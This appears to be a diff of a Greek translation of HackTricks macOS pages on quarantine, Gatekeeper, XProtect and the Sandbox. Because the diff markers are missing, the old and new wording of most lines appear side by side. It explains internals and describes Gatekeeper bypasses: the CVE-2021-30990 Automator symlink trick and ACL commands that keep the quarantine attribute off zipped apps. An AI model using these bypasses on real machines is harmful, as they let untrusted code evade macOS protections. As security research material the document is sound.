Οι πληροφορίες καραντίνας αποθηκεύονται επίσης σε μια κεντρική βάση δεδομένων που διαχειρίζεται το LaunchServices στο **`~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`**, η οποία επιτρέπει στο GUI να αποκτά δεδομένα σχετικά με τις προελεύσεις των αρχείων. Επιπλέον, αυτό μπορεί να παρακαμφθεί από εφαρμογές που μπορεί να ενδιαφέρονται να κρύψουν τις προελεύσεις τους. Επιπλέον, αυτό μπορεί να γίνει από τις APIS του LaunchServices.
Οι πληροφορίες καραντίνας αποθηκεύονται επίσης σε μια κεντρική βάση δεδομένων που διαχειρίζεται το LaunchServices στο **`~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`**, η οποία επιτρέπει στο GUI να αποκτά δεδομένα σχετικά με τις προελεύσεις των αρχείων. Επιπλέον, αυτό μπορεί να παρακαμφθεί από εφαρμογές που μπορεί να ενδιαφέρονται να κρύψουν τις προελεύσεις τους. Επιπλέον, αυτό μπορεί να γίνει μέσω των API του LaunchServices.
#### **libquarantine.dylb**
Αυτή η βιβλιοθήκη εξάγει πολλές συναρτήσεις που επιτρέπουν την επεξεργασία των πεδίων εκτεταμένων χαρακτηριστικών.
Αυτή η βιβλιοθήκη εξάγει πολλές λειτουργίες που επιτρέπουν την επεξεργασία των πεδίων εκτεταμένων χαρακτηριστικών.
Οι APIs `qtn_file_*` ασχολούνται με τις πολιτικές καραντίνας αρχείων, οι APIs `qtn_proc_*` εφαρμόζονται σε διαδικασίες (αρχεία που δημιουργούνται από τη διαδικασία). Οι μη εξαγόμενες συναρτήσεις `__qtn_syscall_quarantine*` είναι αυτές που εφαρμόζουν τις πολιτικές που καλούν το `mac_syscall` με "Quarantine" ως πρώτο επιχείρημα, το οποίο στέλνει τα αιτήματα στο `Quarantine.kext`.
Τα APIs `qtn_file_*` ασχολούνται με τις πολιτικές καραντίνας αρχείων, τα APIs `qtn_proc_*` εφαρμόζονται σε διαδικασίες (αρχεία που δημιουργούνται από τη διαδικασία). Οι μη εξαγόμενες συναρτήσεις `__qtn_syscall_quarantine*` είναι αυτές που εφαρμόζουν τις πολιτικές που καλούν το `mac_syscall` με "Quarantine" ως πρώτο επιχείρημα, το οποίο στέλνει τα αιτήματα στο `Quarantine.kext`.
#### **Quarantine.kext**
@ -289,16 +285,16 @@ find / -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; pri
Χρησιμοποιεί επίσης μερικά MIBs:
- `security.mac.qtn.sandbox_enforce`: Επιβολή καραντίνας μαζί με Sandbox
- `security.mac.qtn.sandbox_enforce`: Επιβολή καραντίνας μαζί με το Sandbox
- `security.mac.qtn.user_approved_exec`: Οι διαδικασίες που είναι σε καραντίνα μπορούν να εκτελούν μόνο εγκεκριμένα αρχεία
### XProtect
Το XProtect είναι μια ενσωματωμένη **αντι-malware** δυνατότητα στο macOS. Το XProtect **ελέγχει οποιαδήποτε εφαρμογή όταν εκκινείται ή τροποποιείται για πρώτη φορά σε σχέση με τη βάση δεδομένων του** για γνωστά κακόβουλα λογισμικά και επικίνδυνους τύπους αρχείων. Όταν κατεβάζετε ένα αρχείο μέσω ορισμένων εφαρμογών, όπως το Safari, το Mail ή τα Μηνύματα, το XProtect σαρώνει αυτόματα το αρχείο. Εάν ταιριάζει με οποιοδήποτε γνωστό κακόβουλο λογισμικό στη βάση δεδομένων του, το XProtect θα **αποτρέψει την εκτέλεση του αρχείου** και θα σας ειδοποιήσει για την απειλή.
Το XProtect είναι μια ενσωματωμένη **λειτουργία κατά του κακόβουλου λογισμικού** στο macOS. Το XProtect **ελέγχει οποιαδήποτε εφαρμογή όταν εκκινείται ή τροποποιείται για πρώτη φορά σε σχέση με τη βάση δεδομένων του** για γνωστό κακόβουλο λογισμικό και επικίνδυνους τύπους αρχείων. Όταν κατεβάζετε ένα αρχείο μέσω ορισμένων εφαρμογών, όπως το Safari, το Mail ή τα Μηνύματα, το XProtect σαρώνει αυτόματα το αρχείο. Εάν ταιριάζει με οποιοδήποτε γνωστό κακόβουλο λογισμικό στη βάση δεδομένων του, το XProtect θα **αποτρέψει την εκτέλεση του αρχείου** και θα σας ειδοποιήσει για την απειλή.
Η βάση δεδομένων του XProtect **ενημερώνεται τακτικά** από την Apple με νέες ορισμούς κακόβουλου λογισμικού, και αυτές οι ενημερώσεις κατεβαίνουν και εγκαθίστανται αυτόματα στο Mac σας. Αυτό διασφαλίζει ότι το XProtect είναι πάντα ενημερωμένο με τις τελευταίες γνωστές απειλές.
Ωστόσο, αξίζει να σημειωθεί ότι **το XProtect δεν είναι μια πλήρως λειτουργική λύση antivirus**. Ελέγχει μόνο μια συγκεκριμένη λίστα γνωστών απειλών και δεν εκτελεί σάρωση κατά την πρόσβαση όπως οι περισσότερες λύσεις antivirus.
Ωστόσο, αξίζει να σημειωθεί ότι **το XProtect δεν είναι μια πλήρης λύση antivirus**. Ελέγχει μόνο μια συγκεκριμένη λίστα γνωστών απειλών και δεν εκτελεί σάρωση κατά την πρόσβαση όπως οι περισσότερες λύσεις antivirus.
Μπορείτε να αποκτήσετε πληροφορίες σχετικά με την τελευταία ενημέρωση του XProtect εκτελώντας:
```bash
@ -334,7 +330,7 @@ XProtect βρίσκεται σε προστατευμένη τοποθεσία S
### [CVE-2021-30990](https://ronmasas.com/posts/bypass-macos-gatekeeper)
Όταν μια εφαρμογή δημιουργείται με **Automator**, οι πληροφορίες σχετικά με το τι χρειάζεται για να εκτελεστεί βρίσκονται μέσα στο `application.app/Contents/document.wflow` και όχι στο εκτελέσιμο. Το εκτελέσιμο είναι απλώς ένα γενικό δυαδικό Automator που ονομάζεται **Automator Application Stub**.
Όταν μια εφαρμογή δημιουργείται με **Automator**, οι πληροφορίες σχετικά με το τι χρειάζεται για να εκτελεστεί βρίσκονται μέσα στο `application.app/Contents/document.wflow` και όχι στο εκτελέσιμο. Το εκτελέσιμο είναι απλώς ένα γενικό δυαδικό αρχείο Automator που ονομάζεται **Automator Application Stub**.
Επομένως, θα μπορούσατε να κάνετε το `application.app/Contents/MacOS/Automator\ Application\ Stub` **να δείχνει με έναν συμβολικό σύνδεσμο σε άλλο Automator Application Stub μέσα στο σύστημα** και θα εκτελέσει ό,τι είναι μέσα στο `document.wflow` (το σενάριό σας) **χωρίς να ενεργοποιήσει τον Gatekeeper** γιατί το πραγματικό εκτελέσιμο δεν έχει το χαρακτηριστικό καραντίνας xattr.
@ -367,9 +363,9 @@ chmod +a "everyone deny writeextattr" /tmp/no-attr
xattr -w attrname vale /tmp/no-attr
xattr: [Errno 13] Permission denied: '/tmp/no-attr'
```
Επιπλέον, η μορφή αρχείου **AppleDouble** αντιγράφει ένα αρχείο συμπεριλαμβανομένων των ACEs του.
Επιπλέον, η μορφή αρχείου **AppleDouble** αντιγράφει ένα αρχείο συμπεριλαμβανομένων των ACE του.
Στον [**πηγαίο κώδικα**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) είναι δυνατόν να δει κανείς ότι η κείμενη αναπαράσταση ACL που αποθηκεύεται μέσα στο xattr που ονομάζεται **`com.apple.acl.text`** θα οριστεί ως ACL στο αποσυμπιεσμένο αρχείο. Έτσι, αν συμπίεσες μια εφαρμογή σε ένα αρχείο zip με μορφή αρχείου **AppleDouble** με ένα ACL που αποτρέπει την εγγραφή άλλων xattrs σε αυτό... το xattr καραντίνας δεν ορίστηκε στην εφαρμογή:
Στον [**κώδικα πηγής**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) είναι δυνατόν να δει κανείς ότι η κειμενική αναπαράσταση ACL που αποθηκεύεται μέσα στο xattr που ονομάζεται **`com.apple.acl.text`** θα οριστεί ως ACL στο αποσυμπιεσμένο αρχείο. Έτσι, αν συμπίεσες μια εφαρμογή σε ένα αρχείο zip με μορφή αρχείου **AppleDouble** με ένα ACL που αποτρέπει την εγγραφή άλλων xattrs σε αυτό... το xattr καραντίνας δεν ορίστηκε στην εφαρμογή:
```bash
chmod +a "everyone deny write,writeattr,writeextattr" /tmp/test
ditto -c -k test test.zip
@ -429,10 +425,7 @@ aa archive -d s/ -o app.aar
### Αποτροπή Quarantine xattr
Σε ένα ".app" bundle, αν το quarantine xattr δεν έχει προστεθεί σε αυτό, κατά την εκτέλεσή του **ο Gatekeeper δεν θα ενεργοποιηθεί**.
Σε ένα ".app" bundle, αν το quarantine xattr δεν έχει προστεθεί σε αυτό, κατά την εκτέλεση του **ο Gatekeeper δεν θα ενεργοποιηθεί**.
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -6,9 +6,9 @@
Το macOS Sandbox (αρχικά ονομαζόταν Seatbelt) **περιορίζει τις εφαρμογές** που εκτελούνται μέσα στο sandbox στις **επιτρεπόμενες ενέργειες που καθορίζονται στο προφίλ Sandbox** με το οποίο εκτελείται η εφαρμογή. Αυτό βοηθά να διασφαλιστεί ότι **η εφαρμογή θα έχει πρόσβαση μόνο σε αναμενόμενους πόρους**.
Οποιαδήποτε εφαρμογή με την **εξουσιοδότηση** **`com.apple.security.app-sandbox`** θα εκτελείται μέσα στο sandbox. **Οι δυαδικοί κώδικες της Apple** εκτελούνται συνήθως μέσα σε ένα Sandbox, και όλες οι εφαρμογές από το **App Store έχουν αυτή την εξουσιοδότηση**. Έτσι, πολλές εφαρμογές θα εκτελούνται μέσα στο sandbox.
Οποιαδήποτε εφαρμογή έχει την **εξουσιοδότηση** **`com.apple.security.app-sandbox`** θα εκτελείται μέσα στο sandbox. **Οι δυαδικοί κώδικες της Apple** εκτελούνται συνήθως μέσα σε ένα Sandbox, και όλες οι εφαρμογές από το **App Store έχουν αυτή την εξουσιοδότηση**. Έτσι, πολλές εφαρμογές θα εκτελούνται μέσα στο sandbox.
Για να ελέγξει τι μπορεί ή δεν μπορεί να κάνει μια διαδικασία, το **Sandbox έχει hooks** σε σχεδόν οποιαδήποτε λειτουργία μπορεί να προσπαθήσει μια διαδικασία (συμπεριλαμβανομένων των περισσότερων syscalls) χρησιμοποιώντας **MACF**. Ωστόσο, **ανάλογα** με τις **εξουσιοδοτήσεις** της εφαρμογής, το Sandbox μπορεί να είναι πιο επιεικής με τη διαδικασία.
Για να ελέγξει τι μπορεί ή δεν μπορεί να κάνει μια διαδικασία, το **Sandbox έχει hooks** σε σχεδόν οποιαδήποτε λειτουργία μπορεί να προσπαθήσει μια διαδικασία (συμπεριλαμβανομένων των περισσότερων syscalls) χρησιμοποιώντας **MACF**. Ωστόσο, **ανάλογα** με τις **εξουσιοδοτήσεις** της εφαρμογής, το Sandbox μπορεί να είναι πιο επιεικές με τη διαδικασία.
Ορισμένα σημαντικά στοιχεία του Sandbox είναι:
@ -54,7 +54,7 @@ drwx------ 2 username staff 64 Mar 24 18:02 SystemData
drwx------ 2 username staff 64 Mar 24 18:02 tmp
```
> [!CAUTION]
> Σημειώστε ότι ακόμη και αν τα symlinks είναι εκεί για να "ξεφύγουν" από το Sandbox και να αποκτήσουν πρόσβαση σε άλλους φακέλους, η εφαρμογή πρέπει να **έχει άδειες** για να τους προσπελάσει. Αυτές οι άδειες βρίσκονται μέσα στο **`.plist`** στο `RedirectablePaths`.
> Σημειώστε ότι ακόμη και αν τα symlinks είναι εκεί για να "διαφύγουν" από το Sandbox και να αποκτήσουν πρόσβαση σε άλλους φακέλους, η εφαρμογή πρέπει να **έχει άδειες** για να τους προσπελάσει. Αυτές οι άδειες βρίσκονται μέσα στο **`.plist`** στο `RedirectablePaths`.
Το **`SandboxProfileData`** είναι το συμπιεσμένο προφίλ sandbox CFData που έχει διαφύγει σε B64.
```bash
@ -106,11 +106,11 @@ AAAhAboBAAAAAAgAAABZAO4B5AHjBMkEQAUPBSsGPwsgASABHgEgASABHwEf...
[...]
```
> [!WARNING]
> Ό,τι δημιουργείται/τροποποιείται από μια εφαρμογή που είναι σε Sandbox θα αποκτήσει το **quarantine attribute**. Αυτό θα αποτρέψει έναν χώρο sandbox ενεργοποιώντας τον Gatekeeper αν η εφαρμογή sandbox προσπαθήσει να εκτελέσει κάτι με **`open`**.
> Ό,τι δημιουργείται/τροποποιείται από μια εφαρμογή που είναι σε Sandbox θα αποκτήσει το **quarantine attribut**e. Αυτό θα αποτρέψει έναν χώρο sandbox ενεργοποιώντας τον Gatekeeper αν η εφαρμογή sandbox προσπαθήσει να εκτελέσει κάτι με **`open`**.
## Sandbox Profiles
Τα Sandbox profiles είναι αρχεία ρυθμίσεων που υποδεικνύουν τι θα είναι **επιτρεπτό/απαγορευμένο** σε αυτό το **Sandbox**. Χρησιμοποιεί τη **Sandbox Profile Language (SBPL)**, η οποία χρησιμοποιεί τη γλώσσα προγραμματισμού [**Scheme**](<https://en.wikipedia.org/wiki/Scheme_(programming_language)>).
Τα Sandbox profiles είναι αρχεία ρύθμισης που υποδεικνύουν τι θα είναι **επιτρεπτό/απαγορευμένο** σε αυτό το **Sandbox**. Χρησιμοποιεί τη **Sandbox Profile Language (SBPL)**, η οποία χρησιμοποιεί τη γλώσσα προγραμματισμού [**Scheme**](<https://en.wikipedia.org/wiki/Scheme_(programming_language)>).
Εδώ μπορείτε να βρείτε ένα παράδειγμα:
```scheme
@ -131,11 +131,11 @@ AAAhAboBAAAAAAgAAABZAO4B5AHjBMkEQAUPBSsGPwsgASABHgEgASABHwEf...
)
```
> [!TIP]
> Ελέγξτε αυτήν την [**έρευνα**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/) **για να δείτε περισσότερες ενέργειες που θα μπορούσαν να επιτραπούν ή να απορριφθούν.**
> Δείτε αυτήν την [**έρευνα**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/) **για να δείτε περισσότερες ενέργειες που θα μπορούσαν να επιτραπούν ή να απορριφθούν.**
>
> Σημειώστε ότι στην συμπιεσμένη έκδοση ενός προφίλ, τα ονόματα των λειτουργιών αντικαθίστανται από τις καταχωρίσεις τους σε έναν πίνακα που είναι γνωστός από το dylib και το kext, καθιστώντας την συμπιεσμένη έκδοση πιο σύντομη και πιο δύσκολη στην ανάγνωση.
Σημαντικές **υπηρεσίες συστήματος** εκτελούνται επίσης μέσα στο δικό τους προσαρμοσμένο **sandbox** όπως η υπηρεσία `mdnsresponder`. Μπορείτε να δείτε αυτά τα προσαρμοσμένα **προφίλ sandbox** μέσα σε:
Σημαντικές **υπηρεσίες συστήματος** εκτελούνται επίσης μέσα στο δικό τους προσαρμοσμένο **sandbox**, όπως η υπηρεσία `mdnsresponder`. Μπορείτε να δείτε αυτά τα προσαρμοσμένα **προφίλ sandbox** μέσα σε:
- **`/usr/share/sandbox`**
- **`/System/Library/Sandbox/Profiles`**
@ -143,11 +143,13 @@ AAAhAboBAAAAAAgAAABZAO4B5AHjBMkEQAUPBSsGPwsgASABHgEgASABHwEf...
Οι εφαρμογές του **App Store** χρησιμοποιούν το **προφίλ** **`/System/Library/Sandbox/Profiles/application.sb`**. Μπορείτε να ελέγξετε σε αυτό το προφίλ πώς οι εξουσιοδοτήσεις όπως **`com.apple.security.network.server`** επιτρέπουν σε μια διαδικασία να χρησιμοποιεί το δίκτυο.
Το SIP είναι ένα προφίλ Sandbox που ονομάζεται platform_profile στο /System/Library/Sandbox/rootless.conf
Στη συνέχεια, ορισμένες **υπηρεσίες daemon της Apple** χρησιμοποιούν διαφορετικά προφίλ που βρίσκονται σε `/System/Library/Sandbox/Profiles/*.sb` ή `/usr/share/sandbox/*.sb`. Αυτά τα sandboxes εφαρμόζονται στη βασική λειτουργία που καλεί το API `sandbox_init_XXX`.
**SIP** είναι ένα προφίλ Sandbox που ονομάζεται platform_profile στο `/System/Library/Sandbox/rootless.conf`.
### Παραδείγματα Προφίλ Sandbox
Για να ξεκινήσετε μια εφαρμογή με ένα **συγκεκριμένο προφίλ sandbox** μπορείτε να χρησιμοποιήσετε:
Για να ξεκινήσετε μια εφαρμογή με ένα **συγκεκριμένο προφίλ sandbox**, μπορείτε να χρησιμοποιήσετε:
```bash
sandbox-exec -f example.sb /Path/To/The/Application
```
@ -198,18 +200,18 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last
{{#endtabs}}
> [!NOTE]
> Σημειώστε ότι το **λογισμικό** που έχει αναπτυχθεί από την **Apple** που τρέχει σε **Windows** **δεν έχει επιπλέον μέτρα ασφαλείας**, όπως η απομόνωση εφαρμογών.
> Σημειώστε ότι το **λογισμικό** που έχει δημιουργηθεί από την **Apple** που τρέχει σε **Windows** **δεν έχει επιπλέον μέτρα ασφαλείας**, όπως η απομόνωση εφαρμογών.
Παραδείγματα παρακάμψεων:
- [https://lapcatsoftware.com/articles/sandbox-escape.html](https://lapcatsoftware.com/articles/sandbox-escape.html)
- [https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c) (μπορούν να γράψουν αρχεία εκτός της απομόνωσης των οποίων το όνομα ξεκινά με `~$`).
- [https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c) (μπορούν να γράψουν αρχεία εκτός της απομόνωσης των οποίων το όνομα αρχίζει με `~$`).
### Ιχνηλάτηση Απομόνωσης
#### Μέσω προφίλ
Είναι δυνατόν να ιχνηλατηθούν όλοι οι έλεγχοι που εκτελεί η απομόνωση κάθε φορά που ελέγχεται μια ενέργεια. Για αυτό, απλώς δημιουργήστε το παρακάτω προφίλ:
Είναι δυνατόν να ιχνηλατήσετε όλους τους ελέγχους που εκτελεί η απομόνωση κάθε φορά που ελέγχεται μια ενέργεια. Για αυτό, απλώς δημιουργήστε το παρακάτω προφίλ:
```scheme:trace.sb
(version 1)
(trace /tmp/trace.out)
@ -251,11 +253,11 @@ sandbox-exec -f /tmp/trace.sb /bin/ls
(let* ((port (open-input-string string)) (sbpl (read port)))
(with-transparent-redirection (eval sbpl)))))
```
Αυτό θα **eval την αλφαβητική σειρά μετά από αυτή την εξουσιοδότηση** ως προφίλ Sandbox.
Αυτό θα **eval την αλφαριθμητική μετά από αυτή την εξουσιοδότηση** ως προφίλ Sandbox.
### Συγκέντρωση & αποσυμπίεση ενός προφίλ Sandbox
Το **`sandbox-exec`** εργαλείο χρησιμοποιεί τις συναρτήσεις `sandbox_compile_*` από το `libsandbox.dylib`. Οι κύριες συναρτήσεις που εξάγονται είναι: `sandbox_compile_file` (αναμένει μια διαδρομή αρχείου, παράμετρος `-f`), `sandbox_compile_string` (αναμένει μια αλφαβητική σειρά, παράμετρος `-p`), `sandbox_compile_name` (αναμένει ένα όνομα κοντέινερ, παράμετρος `-n`), `sandbox_compile_entitlements` (αναμένει plist εξουσιοδοτήσεων).
Το **`sandbox-exec`** εργαλείο χρησιμοποιεί τις συναρτήσεις `sandbox_compile_*` από το `libsandbox.dylib`. Οι κύριες συναρτήσεις που εξάγονται είναι: `sandbox_compile_file` (αναμένει μια διαδρομή αρχείου, παράμετρος `-f`), `sandbox_compile_string` (αναμένει μια αλφαριθμητική, παράμετρος `-p`), `sandbox_compile_name` (αναμένει ένα όνομα κοντέινερ, παράμετρος `-n`), `sandbox_compile_entitlements` (αναμένει plist εξουσιοδοτήσεων).
Αυτή η αντίστροφη και [**ανοιχτού κώδικα έκδοση του εργαλείου sandbox-exec**](https://newosxbook.com/src.jl?tree=listings&file=/sandbox_exec.c) επιτρέπει στο **`sandbox-exec`** να γράφει σε ένα αρχείο το συγκεντρωμένο προφίλ sandbox.
@ -265,7 +267,7 @@ sandbox-exec -f /tmp/trace.sb /bin/ls
Στο macOS, σε αντίθεση με το iOS όπου οι διαδικασίες είναι sandboxed από την αρχή από τον πυρήνα, **οι διαδικασίες πρέπει να επιλέξουν να μπουν στο sandbox μόνες τους**. Αυτό σημαίνει ότι στο macOS, μια διαδικασία δεν περιορίζεται από το sandbox μέχρι να αποφασίσει ενεργά να εισέλθει σε αυτό, αν και οι εφαρμογές του App Store είναι πάντα sandboxed.
Οι διαδικασίες είναι αυτόματα Sandboxed από το userland όταν ξεκινούν αν έχουν την εξουσιοδότηση: `com.apple.security.app-sandbox`. Για μια λεπτομερή εξήγηση αυτής της διαδικασίας, ελέγξτε:
Οι διαδικασίες είναι αυτόματα sandboxed από το userland όταν ξεκινούν αν έχουν την εξουσιοδότηση: `com.apple.security.app-sandbox`. Για μια λεπτομερή εξήγηση αυτής της διαδικασίας, ελέγξτε:
{{#ref}}
macos-sandbox-debug-and-bypass/
@ -285,8 +287,8 @@ macos-sandbox-debug-and-bypass/
Οι επεκτάσεις αποθηκεύονται στη δεύτερη υποδοχή ετικέτας MACF που είναι προσβάσιμη από τα διαπιστευτήρια της διαδικασίας. Το ακόλουθο **`sbtool`** μπορεί να έχει πρόσβαση σε αυτές τις πληροφορίες.
Σημειώστε ότι οι επεκτάσεις συνήθως χορηγούνται από επιτρεπόμενες διαδικασίες, για παράδειγμα, το `tccd` θα χορηγήσει το token επέκτασης του `com.apple.tcc.kTCCServicePhotos` όταν μια διαδικασία προσπαθήσει να αποκτήσει πρόσβαση στις φωτογραφίες και επιτρεπόταν σε ένα μήνυμα XPC. Στη συνέχεια, η διαδικασία θα χρειαστεί να καταναλώσει το token επέκτασης ώστε να προστεθεί σε αυτήν.\
Σημειώστε ότι τα tokens επεκτάσεων είναι μακροχρόνια δεκαεξαδικά που κωδικοποιούν τις χορηγούμενες άδειες. Ωστόσο, δεν έχουν τον επιτρεπόμενο PID σκληρά κωδικοποιημένο, πράγμα που σημαίνει ότι οποιαδήποτε διαδικασία με πρόσβαση στο token μπορεί να είναι **καταναλωμένη από πολλές διαδικασίες**.
Σημειώστε ότι οι επεκτάσεις συνήθως χορηγούνται από επιτρεπόμενες διαδικασίες, για παράδειγμα, το `tccd` θα χορηγήσει το token επέκτασης του `com.apple.tcc.kTCCServicePhotos` όταν μια διαδικασία προσπαθήσει να έχει πρόσβαση στις φωτογραφίες και επιτρεπόταν σε ένα μήνυμα XPC. Στη συνέχεια, η διαδικασία θα χρειαστεί να καταναλώσει το token επέκτασης ώστε να προστεθεί σε αυτήν.\
Σημειώστε ότι τα tokens επεκτάσεων είναι μακροχρόνια δεκαεξαδικά που κωδικοποιούν τις χορηγούμενες άδειες. Ωστόσο, δεν έχουν τον επιτρεπόμενο PID σκληρά κωδικοποιημένο, πράγμα που σημαίνει ότι οποιαδήποτε διαδικασία με πρόσβαση στο token μπορεί να **καταναλωθεί από πολλές διαδικασίες**.
Σημειώστε ότι οι επεκτάσεις σχετίζονται πολύ και με τις εξουσιοδοτήσεις, οπότε η κατοχή ορισμένων εξουσιοδοτήσεων μπορεί αυτόματα να χορηγήσει ορισμένες επεκτάσεις.
@ -315,7 +317,7 @@ sbtool <pid> all
Αυτή η κλήση συστήματος (#381) αναμένει ένα string ως πρώτο επιχείρημα που θα υποδείξει το module που θα εκτελεστεί, και στη συνέχεια έναν κωδικό ως δεύτερο επιχείρημα που θα υποδείξει τη συνάρτηση που θα εκτελεστεί. Στη συνέχεια, το τρίτο επιχείρημα θα εξαρτάται από τη συνάρτηση που εκτελείται.
Η κλήση συνάρτησης `___sandbox_ms` περιτυλίγει το `mac_syscall` υποδεικνύοντας στο πρώτο επιχείρημα `"Sandbox"` ακριβώς όπως το `___sandbox_msp` είναι μια περιτύλιξη του `mac_set_proc` (#387). Στη συνέχεια, μερικοί από τους υποστηριζόμενους κωδικούς από το `___sandbox_ms` μπορούν να βρεθούν σε αυτόν τον πίνακα:
Η κλήση συνάρτησης `___sandbox_ms` περιτυλίγει το `mac_syscall` υποδεικνύοντας στο πρώτο επιχείρημα `"Sandbox"` όπως και η `___sandbox_msp` είναι μια περιτύλιξη του `mac_set_proc` (#387). Στη συνέχεια, μερικοί από τους υποστηριζόμενους κωδικούς από την `___sandbox_ms` μπορούν να βρεθούν σε αυτόν τον πίνακα:
- **set_profile (#0)**: Εφαρμόστε ένα συμπιεσμένο ή ονομασμένο προφίλ σε μια διαδικασία.
- **platform_policy (#1)**: Επιβάλλετε ελέγχους πολιτικής συγκεκριμένης πλατφόρμας (διαφέρει μεταξύ macOS και iOS).
@ -335,7 +337,7 @@ sbtool <pid> all
- **sandbox_user_state_item_buffer_send (#15)**: (iOS 10+) Ορίστε μεταδεδομένα λειτουργίας χρήστη στο sandbox.
- **inspect (#16)**: Παρέχετε πληροφορίες αποσφαλμάτωσης σχετικά με μια διαδικασία που είναι sandboxed.
- **dump (#18)**: (macOS 11) Εκτυπώστε το τρέχον προφίλ ενός sandbox για ανάλυση.
- **vtrace (#19)**: Παρακολουθήστε τις λειτουργίες sandbox για παρακολούθηση ή αποσφαλμάτωση.
- **vtrace (#19)**: Ιχνηλατήστε τις λειτουργίες sandbox για παρακολούθηση ή αποσφαλμάτωση.
- **builtin_profile_deactivate (#20)**: (macOS < 11) Απενεργοποιήστε τα ονομασμένα προφίλ (π.χ., `pe_i_can_has_debugger`).
- **check_bulk (#21)**: Εκτελέστε πολλές λειτουργίες `sandbox_check` σε μία μόνο κλήση.
- **reference_retain_by_audit_token (#28)**: Δημιουργήστε μια αναφορά για ένα audit token για χρήση σε ελέγχους sandbox.
@ -364,13 +366,13 @@ sbtool <pid> all
- `mpo_proc_check_for`: Εφαρμόζει το προφίλ αν χρειάζεται και αν δεν έχει εφαρμοστεί προηγουμένως
- `mpo_vnode_check_exec`: Καλείται όταν μια διαδικασία φορτώνει το σχετικό δυαδικό, στη συνέχεια εκτελείται έλεγχος προφίλ και επίσης έλεγχος που απαγορεύει τις εκτελέσεις SUID/SGID.
- `mpo_cred_label_update_execve`: Αυτό καλείται όταν ανατίθεται η ετικέτα. Αυτό είναι το πιο μακρύ καθώς καλείται όταν το δυαδικό έχει φορτωθεί πλήρως αλλά δεν έχει εκτελεστεί ακόμη. Θα εκτελέσει ενέργειες όπως η δημιουργία του αντικειμένου sandbox, η σύνδεση της δομής sandbox στα διαπιστευτήρια kauth, η αφαίρεση πρόσβασης σε mach ports...
- `mpo_cred_label_update_execve`: Αυτό καλείται όταν ανατίθεται η ετικέτα. Αυτό είναι το πιο χρονοβόρο καθώς καλείται όταν το δυαδικό έχει φορτωθεί πλήρως αλλά δεν έχει εκτελεστεί ακόμη. Θα εκτελέσει ενέργειες όπως η δημιουργία του αντικειμένου sandbox, η σύνδεση της δομής sandbox στα διαπιστευτήρια kauth, η αφαίρεση πρόσβασης σε mach ports...
Σημειώστε ότι **`_cred_sb_evalutate`** είναι μια περιτύλιξη πάνω από **`sb_evaluate_internal`** και αυτή η συνάρτηση παίρνει τα διαπιστευτήρια που περνιούνται και στη συνέχεια εκτελεί την αξιολόγηση χρησιμοποιώντας τη συνάρτηση **`eval`** που συνήθως αξιολογεί το **προφίλ πλατφόρμας** που εφαρμόζεται από προεπιλογή σε όλες τις διαδικασίες και στη συνέχεια το **συγκεκριμένο προφίλ διαδικασίας**. Σημειώστε ότι το προφίλ πλατφόρμας είναι ένα από τα κύρια συστατικά του **SIP** στο macOS.
Σημειώστε ότι **`_cred_sb_evalutate`** είναι μια περιτύλιξη πάνω από **`sb_evaluate_internal`** και αυτή η συνάρτηση παίρνει τα διαπιστευτήρια που περνιούνται και στη συνέχεια εκτελεί την αξιολόγηση χρησιμοποιώντας τη συνάρτηση **`eval`** που συνήθως αξιολογεί το **προφίλ πλατφόρμας** που εφαρμόζεται από προεπιλογή σε όλες τις διαδικασίες και στη συνέχεια το **συγκεκριμένο προφίλ διαδικασίας**. Σημειώστε ότι το προφίλ πλατφόρμας είναι ένα από τα κύρια στοιχεία του **SIP** στο macOS.
## Sandboxd
Το Sandbox έχει επίσης έναν daemon χρήστη που εκτελεί την υπηρεσία XPC Mach `com.apple.sandboxd` και δεσμεύει την ειδική θύρα 14 (`HOST_SEATBELT_PORT`) την οποία χρησιμοποιεί η επέκταση πυρήνα για να επικοινωνήσει μαζί της. Εκθέτει ορισμένες συναρτήσεις χρησιμοποιώντας MIG.
Το Sandbox έχει επίσης έναν daemon χρήστη που εκθέτει την υπηρεσία XPC Mach `com.apple.sandboxd` και δένει την ειδική θύρα 14 (`HOST_SEATBELT_PORT`) την οποία χρησιμοποιεί η επέκταση πυρήνα για να επικοινωνήσει μαζί της. Εκθέτει ορισμένες συναρτήσεις χρησιμοποιώντας MIG.
## References

View File

@ -10,7 +10,7 @@
Ο μεταγλωττιστής θα συνδέσει το `/usr/lib/libSystem.B.dylib` με το δυαδικό αρχείο.
Στη συνέχεια, **`libSystem.B`** θα καλεί άλλες πολλές συναρτήσεις μέχρι το **`xpc_pipe_routine`** να στείλει τις εξουσιοδοτήσεις της εφαρμογής στο **`securityd`**. Το Securityd ελέγχει αν η διαδικασία θα πρέπει να είναι σε καραντίνα μέσα στο Sandbox, και αν ναι, θα μπει σε καραντίνα.\
Στη συνέχεια, **`libSystem.B`** θα καλεί άλλες πολλές συναρτήσεις μέχρι να στείλει η **`xpc_pipe_routine`** τις εξουσιοδοτήσεις της εφαρμογής στο **`securityd`**. Το Securityd ελέγχει αν η διαδικασία θα πρέπει να είναι σε καραντίνα μέσα στο Sandbox, και αν ναι, θα μπει σε καραντίνα.\
Τέλος, το sandbox θα ενεργοποιηθεί με μια κλήση στο **`__sandbox_ms`** που θα καλέσει το **`__mac_syscall`**.
## Possible Bypasses
@ -24,7 +24,7 @@
> [!CAUTION]
